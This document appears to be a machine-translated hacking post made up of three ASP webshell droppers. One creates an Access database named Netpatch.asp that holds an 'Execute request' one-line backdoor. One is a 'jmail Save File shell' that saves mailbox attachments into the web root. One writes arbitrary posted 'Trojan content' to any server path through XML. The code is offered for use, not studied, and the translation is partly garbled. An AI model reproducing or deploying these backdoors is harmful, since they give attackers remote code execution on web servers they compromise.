<%
' Code by Netpatch
Dim dbfile,sql
db= "Netpatch.asp"
Dbfile=server. MapPath (DB)
Set Ydb=server. CreateObject ("ADOX.") Catalog ")
Ydb. Create "Provider=Microsoft.Jet.OLEDB.4.0;Data source=" & DBFile
Set ydb=nothing
If Err.number=0 Then
Response.Write DBFile & "Create success <br>"
Else
Response.Write "Creation failed, Cause:" & Err.Description
Response.End
End If
Set Conn = Server.CreateObject ("ADODB. Connection ")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data source= "& DBFile
Sql= "CREATE TABLE fdata ([data] Memo)"
Conn.execute (SQL)
Set rs = CreateObject ("ADODB.") RecordSet ")
Rs. Open "Fdata", Conn, 1, 3
Rs.addnew
RS ("data") = "┼ 攠 number 畣 爠 Longoza enemy 瑳" "(Note to remember to remove!) A word at the back door Execute request ("n"))
Rs.update
%>
Write files into the hard drive with JMail
<%
' Codz by kEvin1986 [S4T]
User=request.form ("User")
Pass=request.form ("Pass")
Popserver=request.form ("Popserver")
If user<> "" and Pass<> "" and popserver<> "" Then
Set objmail = CreateObject ("JMAIL.POP3")
Objmail. Connect User, pass, Popserver
Set Objmsg=createobject ("Jmail.message")
Set objmsg = objmail. Messages.item (1)
Separator = ","
Response.Write "Attachment Name is:" & Saveatta & "<br>"
Objmail. Disconnect
End If
Function Saveatta ()
Set Attachments = objmsg. Attachments
Separator = ","
Response.Write "The size of this attachment is:" & objmsg.size & "<br>"
For i = 0 to Attachments.count-1
If i = attachments.count-1 Then
Separator = ""
End If
Set Theatta = Attachments (i)
Response.Write Theatta.name
Theatta.savetofile (Server.MapPath (".") & "\" & Theatta.name)
Response.Write "oh! Hey guy ... That ' s ok! '
Next
End Function
%>
<Html>
<Head>
<title>jmail Save File shell</title>
</Head>
<Body>
<Center>
<form method= "POST" >
User: <input name= "user" Type=text value= "kevin1986" ><br>
Pass: <input name= "pass" Type=text value= "1986lovinghuan" ><br>
POP3: <input name= "Popserver" Type=text value= "pop.163.com" ><br>
<input type=submit value= "Get the Attachments" >
</Form>
</Center>
</Body>
</Html>
Using XML to write a horse
<%on Error Resume Next%>
<form id= "Form1" Name= "Form1" method= "post" action= "' >
<p> Trojan content </p>
<p><textarea name= "Flashboy" cols= "rows=" ></textarea></p>
<p> Path </p>
<p><input name= "TextField" type= "text" size= "/></p>"
<p><input type= "Submit" name= "Submission" value= "submitted"/></p></form>
<p><%response.write "Absolute path to this file"%>
<%=server.mappath (Request.ServerVariables ("Script_name"))%></p>
<%
Dim xmlstring
Dim xmldoc
xmlstring= Request ("Flashboy")
Set xmldoc = Server.CreateObject ("Msxml2.domdocument")
Xmldoc.loadxml (xmlstring)
F=request ("TextField")
Xmldoc.save (f)
Set xmldoc=nothing
%>
